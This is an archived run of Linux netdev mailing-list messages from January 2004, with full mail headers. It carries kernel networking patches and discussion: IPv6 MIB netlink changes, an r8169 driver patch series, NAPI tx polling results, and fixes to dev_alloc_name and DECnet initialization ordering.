26 Francois Romieu : [bug expected in common revisions of r8169 driver ?] > against plain 2.6.x due to endianness conflict. I will regenerate a serie > for 2.6.1-bk1 in a few minutes. Serie available at: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.1-bk1-b Tarball: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.1-bk1-b/r8169-blob.tar.bz2 I will welcome feedback related to the behavior of the driver once the following serie is applied on top of 2.6.1-bk1 (may apply to 2.6.1 as well): r8169-dma-api-tx.patch r8169-dma-api-rx-buffers.patch r8169-dma-api-rx-buffers-ahum.patch r8169-dma-api-rx-buffers-argl.patch r8169-rx-fill-typo.patch r8169-start-xmit-fixes.patch r8169-dma-api-tx-buffers.patch r8169-tx-index-overflow.patch No intermediate tests needed. -- Ueimor From mashirle@us.ibm.com Wed Jan 14 15:53:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 15:53:26 -0800 (PST) Received: from linux2.suntekindustrial.com (wbar1.sjo1-4-4-004-065.sjo1.dsl-verizon.net [4.4.4.65]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0ENrB6H019716 for ; Wed, 14 Jan 2004 15:53:12 -0800 Received: from ibm-mxl (bi01p1.co.us.ibm.com [32.97.110.142]) (authenticated bits=0) by linux2.suntekindustrial.com (8.12.8/8.12.8) with ESMTP id i0F1BAbO012533; Wed, 14 Jan 2004 17:11:12 -0800 From: Shirley Ma Organization: IBM Linux To: "David S. Miller" Subject: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification Date: Wed, 14 Jan 2004 15:52:51 -0800 User-Agent: KMail/1.4.3 Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, xma@us.ibm.com References: <200311191621.38087.mashirle@us.ibm.com> <200312051351.47962.mashirle@us.ibm.com> <20031205145700.120e9e68.davem@redhat.com> In-Reply-To: <20031205145700.120e9e68.davem@redhat.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_3O7IXDFKN1YZ3LLGABBV" Message-Id: <200401141552.51424.mashirle@us.ibm.com> X-archive-position: 2452 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 4978 Lines: 177 --------------Boundary-00=_3O7IXDFKN1YZ3LLGABBV Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Once receiving a router advertisement message, a netlink notification event will be created. This patch is against linux-2.6.1. --------------Boundary-00=_3O7IXDFKN1YZ3LLGABBV Content-Type: text/x-diff; charset="iso-8859-1"; name="linux-2.6.1-ipv6mib8.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.1-ipv6mib8.patch" diff -urN linux-2.6.1/include/linux/rtnetlink.h linux-2.6.1-ipv6mib8/include/linux/rtnetlink.h --- linux-2.6.1/include/linux/rtnetlink.h 2004-01-08 22:59:55.000000000 -0800 +++ linux-2.6.1-ipv6mib8/include/linux/rtnetlink.h 2004-01-13 10:45:20.000000000 -0800 @@ -44,7 +44,10 @@ #define RTM_DELTFILTER (RTM_BASE+29) #define RTM_GETTFILTER (RTM_BASE+30) -#define RTM_MAX (RTM_BASE+31) +#define RTM_NEWRA (RTM_BASE+32) +#define RTM_GETRA (RTM_BASE+34) + +#define RTM_MAX (RTM_BASE+35) /* Generic structure for encapsulation of optional route information. @@ -441,6 +444,38 @@ }; /***************************************************************** + * Route Advertisement specific messages. + * ******/ + +/* struct iframsg + * passes router advertisement specific information + */ + +struct iframsg +{ + unsigned char ifra_family; + unsigned ifra_flags; + int ifra_index; +}; + +enum +{ + IFRA_UNSPEC, + IFRA_LMTU, + IFRA_CACHEINFO +}; + +/* max_adver_interval, min_adver_interval should be gotten from user level */ +struct ifra_cacheinfo { + __u32 hop_limit; + __u32 lifetime; + __u32 reachable_time; + __u32 retrans_time; +}; + +#define IFRA_MAX IFRA_CACHEINFO + +/***************************************************************** * Link layer specific messages. ****/ @@ -615,6 +650,8 @@ #define RTMGRP_DECnet_IFADDR 0x1000 #define RTMGRP_DECnet_ROUTE 0x4000 +#define RTMGRP_IPV6_IFRA 0x10000 + /* End of information exported to user level */ #ifdef __KERNEL__ diff -urN linux-2.6.1/include/net/ndisc.h linux-2.6.1-ipv6mib8/include/net/ndisc.h --- linux-2.6.1/include/net/ndisc.h 2004-01-08 22:59:55.000000000 -0800 +++ linux-2.6.1-ipv6mib8/include/net/ndisc.h 2004-01-13 10:45:20.000000000 -0800 @@ -98,6 +98,10 @@ extern void igmp6_cleanup(void); +extern void inet6_ifra_notify(int event, + struct inet6_dev *idev, + struct ra_msg *ra_msg); + static inline struct neighbour * ndisc_get_neigh(struct net_device *dev, struct in6_addr *addr) { diff -urN linux-2.6.1/net/ipv6/addrconf.c linux-2.6.1-ipv6mib8/net/ipv6/addrconf.c --- linux-2.6.1/net/ipv6/addrconf.c 2004-01-08 23:00:03.000000000 -0800 +++ linux-2.6.1-ipv6mib8/net/ipv6/addrconf.c 2004-01-13 10:45:20.000000000 -0800 @@ -2802,6 +2802,62 @@ return skb->len; } +static int inet6_fill_ifra(struct sk_buff *skb, struct inet6_dev *idev, + struct ra_msg *ra_msg, u32 pid, u32 seq, int event) +{ + struct iframsg *ifra; + struct nlmsghdr *nlh; + unsigned char *b = skb->tail; + __u32 mtu = idev->dev->mtu; + struct ifra_cacheinfo ci; + + nlh = NLMSG_PUT(skb, pid, seq, event, sizeof(*ifra)); + + if (pid) + nlh->nlmsg_flags |= NLM_F_MULTI; + + ifra = NLMSG_DATA(nlh); + ifra->ifra_family = AF_INET6; + ifra->ifra_index = idev->dev->ifindex; + ifra->ifra_flags = idev->if_flags; + + RTA_PUT(skb, IFRA_LMTU, sizeof(mtu), &mtu); + + ci.hop_limit = ra_msg->icmph.icmp6_hop_limit; + ci.lifetime = ntohs(ra_msg->icmph.icmp6_rt_lifetime); + ci.reachable_time = ntohl(ra_msg->reachable_time); + ci.retrans_time = ntohl(ra_msg->retrans_timer); + RTA_PUT(skb, IFRA_CACHEINFO, sizeof(ci), &ci); + + nlh->nlmsg_len = skb->tail - b; + return skb->len; + +nlmsg_failure: +rtattr_failure: + skb_trim(skb, b - skb->data); + return -1; +} + +void inet6_ifra_notify(int event, struct inet6_dev *idev, + struct ra_msg *ra_msg) +{ + struct sk_buff *skb; + int size = NLMSG_SPACE(sizeof(struct iframsg)+128); + + skb = alloc_skb(size, GFP_ATOMIC); + if (!skb) { + netlink_set_err(rtnl, 0, RTMGRP_IPV6_IFRA, ENOBUFS); + return; + } + if (inet6_fill_ifra(skb, idev, ra_msg, 0, 0, event) < 0) { + kfree_skb(skb); + netlink_set_err(rtnl, 0, RTMGRP_IPV6_IFRA, EINVAL); + return; + } + NETLINK_CB(skb).dst_groups = RTMGRP_IPV6_IFRA; + netlink_broadcast(rtnl, skb, 0, RTMGRP_IPV6_IFRA, GFP_ATOMIC); +} + static struct rtnetlink_link inet6_rtnetlink_table[RTM_MAX - RTM_BASE + 1] = { [RTM_GETLINK - RTM_BASE] = { .dumpit = inet6_dump_ifinfo, }, [RTM_NEWADDR - RTM_BASE] = { .doit = inet6_rtm_newaddr, }, diff -urN linux-2.6.1/net/ipv6/ndisc.c linux-2.6.1-ipv6mib8/net/ipv6/ndisc.c --- linux-2.6.1/net/ipv6/ndisc.c 2004-01-08 22:59:44.000000000 -0800 +++ linux-2.6.1-ipv6mib8/net/ipv6/ndisc.c 2004-01-13 10:45:20.000000000 -0800 @@ -1190,6 +1190,7 @@ out: if (rt) dst_release(&rt->u.dst); + inet6_ifra_notify(RTM_NEWRA, in6_dev, ra_msg); in6_dev_put(in6_dev); } --------------Boundary-00=_3O7IXDFKN1YZ3LLGABBV-- From jchapman@katalix.com Wed Jan 14 16:00:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 16:00:33 -0800 (PST) Received: from plesk.avahost.net (plesk.avahost.net [216.40.206.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F00I6H022362 for ; Wed, 14 Jan 2004 16:00:19 -0800 Received: (qmail 28903 invoked by uid 10623); 15 Jan 2004 08:01:42 -0000 Received: from 212.56.89.216 ( [212.56.89.216]) as user jchapman@localhost by webmail.katalix.com with HTTP; Thu, 15 Jan 2004 08:01:42 +0000 Message-ID: <1074153702.400648e62916f@webmail.katalix.com> Date: Thu, 15 Jan 2004 08:01:42 +0000 From: jc To: scott.feldman@intel.com, Robert.Olsson@data.slu.se, jgarzik@pobox.com Cc: gnb@melbourne.sgi.com, davem@redhat.com, netdev@oss.sgi.com Subject: RE: [PATCH] make tg3 NAPI support configurable MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.1 X-Originating-IP: 212.56.89.216 X-archive-position: 2453 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jchapman@katalix.com Precedence: bulk X-list: netdev Content-Length: 1918 Lines: 58 Hi all, I found that testing if any tx work is done in dev->poll before exiting polled mode improves performance by about 7% (max) in a 2-port e100 bridge forwarding unidirectional test case. If tx work is not considered when deciding whether to netif_rx_complete, the transmitting interface sees loads of interrupts and hence forwarding throughput is degraded. When testing with bidirectional test data, no improvement is seen since the dev->poll is kept in polled mode on both interfaces due to receive work. Hope this helps. -jc > > > Furthermore NAPI can be extended to schedule dev->poll even for TX- > > > interrupts. There is pacth for e1000 doing this. We see about 5-8% > > > overall system packet improvement with this. > > I was thinking of a variant JC [jchapman@katalix.com] > > mentioned on this list some time ago. He also sent me > > the patch for e1000. A test and the patch is below. > > JC contributed almost the exact patch for the e100 rewrite and it did > help Tx, but I don't remember how much. JC, do you remember? Here is > the snippet: > > static int e100_poll(struct net_device *netdev, int *budget) > { > struct nic *nic = netdev->priv; > unsigned int work_to_do = min(netdev->quota, *budget); > unsigned int work_done = 0; > int tx_cleaned; > > e100_rx_clean(nic, &work_done, work_to_do); > tx_cleaned = e100_tx_clean(nic); > > /* If no Rx and Tx cleanup work was done, exit polling mode. */ > if((!tx_cleaned && (work_done == 0)) || !netif_running(netdev)) > { > netif_rx_complete(netdev); > e100_enable_irq(nic); > return 0; > } > > *budget -= work_done; > netdev->quota -= work_done; > > return 1; > } ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From shemminger@osdl.org Wed Jan 14 16:14:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 16:14:46 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F0EW6H024510 for ; Wed, 14 Jan 2004 16:14:32 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0F0DOo11372; Wed, 14 Jan 2004 16:13:24 -0800 Date: Wed, 14 Jan 2004 16:13:24 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: jt@hpl.hp.com, jt@bougret.hpl.hp.com, jgarzik@pobox.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH 2.6.X] SIOCSIFNAME wilcard suppor & name validation Message-Id: <20040114161324.61b7198f.shemminger@osdl.org> In-Reply-To: <20040113162112.509edb71.davem@redhat.com> References: <20040112234332.GA1785@bougret.hpl.hp.com> <20040113142204.0b41403b.shemminger@osdl.org> <20040113162112.509edb71.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2454 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 399 Lines: 15 Bug: dev_alloc_name returns the number of the slot used, so comparison needs to be < 0. diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Wed Jan 14 16:09:02 2004 +++ b/net/core/dev.c Wed Jan 14 16:09:02 2004 @@ -718,7 +718,7 @@ if (strchr(newname, '%')) { int err = dev_alloc_name(dev, newname); - if (err) + if (err < 0) return err; strcpy(newname, dev->name); } From jt@bougret.hpl.hp.com Wed Jan 14 16:17:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 16:17:31 -0800 (PST) Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F0HG6H025138 for ; Wed, 14 Jan 2004 16:17:17 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel13.hp.com (Postfix) with ESMTP id 1D3B11C01372; Wed, 14 Jan 2004 16:17:16 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id QAA06078; Wed, 14 Jan 2004 16:17:12 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AgvCC-0006GG-00; Wed, 14 Jan 2004 16:17:12 -0800 Date: Wed, 14 Jan 2004 16:17:12 -0800 To: Stephen Hemminger Cc: "David S. Miller" , jgarzik@pobox.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH 2.6.X] SIOCSIFNAME wilcard suppor & name validation Message-ID: <20040115001712.GA24056@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040112234332.GA1785@bougret.hpl.hp.com> <20040113142204.0b41403b.shemminger@osdl.org> <20040113162112.509edb71.davem@redhat.com> <20040114161324.61b7198f.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040114161324.61b7198f.shemminger@osdl.org> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 2455 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 526 Lines: 20 On Wed, Jan 14, 2004 at 04:13:24PM -0800, Stephen Hemminger wrote: > Bug: dev_alloc_name returns the number of the slot used, so comparison needs > to be < 0. > > diff -Nru a/net/core/dev.c b/net/core/dev.c > --- a/net/core/dev.c Wed Jan 14 16:09:02 2004 > +++ b/net/core/dev.c Wed Jan 14 16:09:02 2004 > @@ -718,7 +718,7 @@ > > if (strchr(newname, '%')) { > int err = dev_alloc_name(dev, newname); > - if (err) > + if (err < 0) > return err; > strcpy(newname, dev->name); > } Doh ! I feel stupid. Jean From mashirle@us.ibm.com Wed Jan 14 16:21:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 16:22:11 -0800 (PST) Received: from linux2.suntekindustrial.com (wbar1.sjo1-4-4-004-065.sjo1.dsl-verizon.net [4.4.4.65]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F0Lv6H026286 for ; Wed, 14 Jan 2004 16:21:57 -0800 Received: from ibm-mxl (bi01p1.co.us.ibm.com [32.97.110.142]) (authenticated bits=0) by linux2.suntekindustrial.com (8.12.8/8.12.8) with ESMTP id i0F1dabO012559; Wed, 14 Jan 2004 17:39:38 -0800 From: Shirley Ma Organization: IBM Linux To: "David S. Miller" Subject: [PATCH] IPv6 MIB:ipv6inetNetToMediaTable Date: Wed, 14 Jan 2004 16:21:26 -0800 User-Agent: KMail/1.4.3 Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, xma@us.ibm.com References: <200311191621.38087.mashirle@us.ibm.com> <200312051351.47962.mashirle@us.ibm.com> <20031205145700.120e9e68.davem@redhat.com> In-Reply-To: <20031205145700.120e9e68.davem@redhat.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_QZ8IASFRBJZYX1ZOFHBV" Message-Id: <200401141621.26317.mashirle@us.ibm.com> X-archive-position: 2456 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2670 Lines: 74 --------------Boundary-00=_QZ8IASFRBJZYX1ZOFHBV Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable This patch is against 2.6.1 kernel. Thanks Shirley Ma IBM Linux Technology Center --------------Boundary-00=_QZ8IASFRBJZYX1ZOFHBV Content-Type: text/x-diff; charset="iso-8859-1"; name="linux-2.6.1-ipv6mib5.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.1-ipv6mib5.patch" diff -urN linux-2.6.1/include/linux/rtnetlink.h linux-2.6.1-ipv6mib5/include/linux/rtnetlink.h --- linux-2.6.1/include/linux/rtnetlink.h 2004-01-08 22:59:55.000000000 -0800 +++ linux-2.6.1-ipv6mib5/include/linux/rtnetlink.h 2004-01-13 10:38:27.000000000 -0800 @@ -3,6 +3,7 @@ #include +#define TIME_DELTA(a,b) ((unsigned long)((long)(a) - (long)(b))) /**** * Routing/neighbour discovery messages. ****/ diff -urN linux-2.6.1/net/core/neighbour.c linux-2.6.1-ipv6mib5/net/core/neighbour.c --- linux-2.6.1/net/core/neighbour.c 2004-01-08 22:59:06.000000000 -0800 +++ linux-2.6.1-ipv6mib5/net/core/neighbour.c 2004-01-14 15:38:57.000000000 -0800 @@ -1339,7 +1339,6 @@ static int neigh_fill_info(struct sk_buff *skb, struct neighbour *n, u32 pid, u32 seq, int event) { - unsigned long now = jiffies; unsigned char *b = skb->tail; struct nda_cacheinfo ci; int locked = 0; @@ -1357,9 +1356,13 @@ ndm->ndm_state = n->nud_state; if (n->nud_state & NUD_VALID) RTA_PUT(skb, NDA_LLADDR, n->dev->addr_len, n->ha); - ci.ndm_used = now - n->used; - ci.ndm_confirmed = now - n->confirmed; - ci.ndm_updated = now - n->updated; + ci.ndm_used = (__u32)(TIME_DELTA(n->used, INITIAL_JIFFIES)/HZ*100 + + TIME_DELTA(n->used, INITIAL_JIFFIES)%HZ*100/HZ); + ci.ndm_confirmed = (__u32)(TIME_DELTA(n->confirmed, INITIAL_JIFFIES)/HZ + *100 + TIME_DELTA(n->confirmed, INITIAL_JIFFIES)%HZ + *100/HZ); + ci.ndm_updated = (__u32)(TIME_DELTA(n->updated, INITIAL_JIFFIES)/HZ*100 + + TIME_DELTA(n->updated, INITIAL_JIFFIES)%HZ*100/HZ); ci.ndm_refcnt = atomic_read(&n->refcnt) - 1; read_unlock_bh(&n->lock); locked = 0; diff -urN linux-2.6.1/net/ipv6/addrconf.c linux-2.6.1-ipv6mib5/net/ipv6/addrconf.c --- linux-2.6.1/net/ipv6/addrconf.c 2004-01-08 23:00:03.000000000 -0800 +++ linux-2.6.1-ipv6mib5/net/ipv6/addrconf.c 2004-01-13 10:38:27.000000000 -0800 @@ -93,7 +93,6 @@ #endif #define INFINITY_LIFE_TIME 0xFFFFFFFF -#define TIME_DELTA(a,b) ((unsigned long)((long)(a) - (long)(b))) #ifdef CONFIG_SYSCTL static void addrconf_sysctl_register(struct inet6_dev *idev, struct ipv6_devconf *p); --------------Boundary-00=_QZ8IASFRBJZYX1ZOFHBV-- From mashirle@us.ibm.com Wed Jan 14 16:22:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 16:22:40 -0800 (PST) Received: from linux2.suntekindustrial.com (wbar1.sjo1-4-4-004-065.sjo1.dsl-verizon.net [4.4.4.65]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F0MQ6H026378 for ; Wed, 14 Jan 2004 16:22:27 -0800 Received: from ibm-mxl (bi01p1.co.us.ibm.com [32.97.110.142]) (authenticated bits=0) by linux2.suntekindustrial.com (8.12.8/8.12.8) with ESMTP id i0F1eJbO012564; Wed, 14 Jan 2004 17:40:20 -0800 From: Shirley Ma Organization: IBM Linux To: "David S. Miller" Subject: [PATCH] IPv6 MIB:ipv6DefaultRouterTable Date: Wed, 14 Jan 2004 16:22:09 -0800 User-Agent: KMail/1.4.3 Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, xma@us.ibm.com References: <200311191621.38087.mashirle@us.ibm.com> <200312051351.47962.mashirle@us.ibm.com> <20031205145700.120e9e68.davem@redhat.com> In-Reply-To: <20031205145700.120e9e68.davem@redhat.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_X09IDHM9YSKWUPJ5TXOR" Message-Id: <200401141622.09299.mashirle@us.ibm.com> X-archive-position: 2457 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1640 Lines: 50 --------------Boundary-00=_X09IDHM9YSKWUPJ5TXOR Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable This patch is agaist 2.6.1 kernel. Thanks Shirley Ma IBM Linux Technology Center --------------Boundary-00=_X09IDHM9YSKWUPJ5TXOR Content-Type: text/x-diff; charset="iso-8859-1"; name="linux-2.6.1-ipv6mib7.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.1-ipv6mib7.patch" diff -urN linux-2.6.1/include/linux/rtnetlink.h linux-2.6.1-ipv6mib7/include/linux/rtnetlink.h --- linux-2.6.1/include/linux/rtnetlink.h 2004-01-08 22:59:55.000000000 -0800 +++ linux-2.6.1-ipv6mib7/include/linux/rtnetlink.h 2004-01-13 10:41:55.000000000 -0800 @@ -247,7 +247,7 @@ { __u32 rta_clntref; __u32 rta_lastuse; - __s32 rta_expires; + __u32 rta_expires; /* seconds */ __u32 rta_error; __u32 rta_used; diff -urN linux-2.6.1/net/ipv6/route.c linux-2.6.1-ipv6mib7/net/ipv6/route.c --- linux-2.6.1/net/ipv6/route.c 2004-01-08 22:59:48.000000000 -0800 +++ linux-2.6.1-ipv6mib7/net/ipv6/route.c 2004-01-13 10:41:55.000000000 -0800 @@ -1535,8 +1535,8 @@ RTA_PUT(skb, RTA_OIF, sizeof(int), &rt->rt6i_dev->ifindex); RTA_PUT(skb, RTA_PRIORITY, 4, &rt->rt6i_metric); ci.rta_lastuse = jiffies_to_clock_t(jiffies - rt->u.dst.lastuse); - if (rt->rt6i_expires) - ci.rta_expires = jiffies_to_clock_t(rt->rt6i_expires - jiffies); + if (rt->rt6i_expires && time_after(rt->rt6i_expires, jiffies)) + ci.rta_expires = (rt->rt6i_expires - jiffies)/HZ; else ci.rta_expires = 0; ci.rta_used = rt->u.dst.__use; --------------Boundary-00=_X09IDHM9YSKWUPJ5TXOR-- From shemminger@osdl.org Wed Jan 14 16:24:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 16:24:43 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F0OR6H027082 for ; Wed, 14 Jan 2004 16:24:28 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0F0OCo14040; Wed, 14 Jan 2004 16:24:12 -0800 Date: Wed, 14 Jan 2004 16:24:11 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: mpm@selenic.com, netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-Id: <20040114162411.08322247.shemminger@osdl.org> In-Reply-To: <20040114121155.7dabd70e.davem@redhat.com> References: <20040113154610.38f5934c.shemminger@osdl.org> <20040113155921.342db463.davem@redhat.com> <20040113161303.20f1159d.shemminger@osdl.org> <20040114071303.GG28521@waste.org> <20040114113734.4e9a0865.shemminger@osdl.org> <20040114121155.7dabd70e.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2458 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1095 Lines: 44 This should make it match the existing semantics more exactly. It will skip the false positive matchs from sscanf trailing chars or blanks. diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Wed Jan 14 16:24:08 2004 +++ b/net/core/dev.c Wed Jan 14 16:24:08 2004 @@ -654,7 +654,7 @@ const int max_netdevices = 8*PAGE_SIZE; long *inuse; struct net_device *d; - char buf[IFNAMSIZ]; + char buf[32]; /* * Verify the string as this thing may have come from @@ -671,12 +671,14 @@ return -ENOMEM; for (d = dev_base; d; d = d->next) { - if (sscanf(d->name, name, &i)) { - if (i < 0 || i >= max_netdevices) - continue; + if (!sscanf(d->name, name, &i)) + continue; + if (i < 0 || i >= max_netdevices) + continue; + snprintf(buf, sizeof(buf), name, i); + if (!strncmp(buf, d->name, IFNAMSIZ)) set_bit(i, inuse); - } } i = find_first_zero_bit(inuse, max_netdevices); @@ -684,7 +686,7 @@ snprintf(buf, sizeof(buf), name, i); if (!__dev_get_by_name(buf)) { - strcpy(dev->name, buf); + strlcpy(dev->name, buf, IFNAMSIZ); return i; } From shemminger@osdl.org Wed Jan 14 16:40:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 16:41:13 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F0ew6H027857 for ; Wed, 14 Jan 2004 16:40:58 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0F0ejo17233; Wed, 14 Jan 2004 16:40:46 -0800 Date: Wed, 14 Jan 2004 16:40:45 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, Arnaldo Carvalho de Melo Subject: [PATCH] decnet initialization race Message-Id: <20040114164045.06dd85f3.shemminger@osdl.org> In-Reply-To: <20040113163631.1a9c1a59.davem@redhat.com> References: <20040113105843.0d1351cb.shemminger@osdl.org> <20040113163631.1a9c1a59.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2459 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 869 Lines: 29 Decnet exposes itself to proc and packets before it has finished initializing. This was always a race, but the notifier replay might expose it worse. diff -Nru a/net/decnet/af_decnet.c b/net/decnet/af_decnet.c --- a/net/decnet/af_decnet.c Wed Jan 14 16:27:05 2004 +++ b/net/decnet/af_decnet.c Wed Jan 14 16:27:05 2004 @@ -2363,17 +2363,16 @@ if (!dn_sk_cachep) return -ENOMEM; - sock_register(&dn_family_ops); - dev_add_pack(&dn_dix_packet_type); - register_netdevice_notifier(&dn_dev_notifier); - - proc_net_fops_create("decnet", S_IRUGO, &dn_socket_seq_fops); - dn_neigh_init(); dn_dev_init(); dn_route_init(); dn_fib_init(); + sock_register(&dn_family_ops); + dev_add_pack(&dn_dix_packet_type); + register_netdevice_notifier(&dn_dev_notifier); + + proc_net_fops_create("decnet", S_IRUGO, &dn_socket_seq_fops); dn_register_sysctl(); return 0; From shemminger@osdl.org Wed Jan 14 16:43:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 16:44:05 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F0ho6H028246 for ; Wed, 14 Jan 2004 16:43:50 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0F0hco17723; Wed, 14 Jan 2004 16:43:38 -0800 Date: Wed, 14 Jan 2004 16:43:38 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, chas williams , 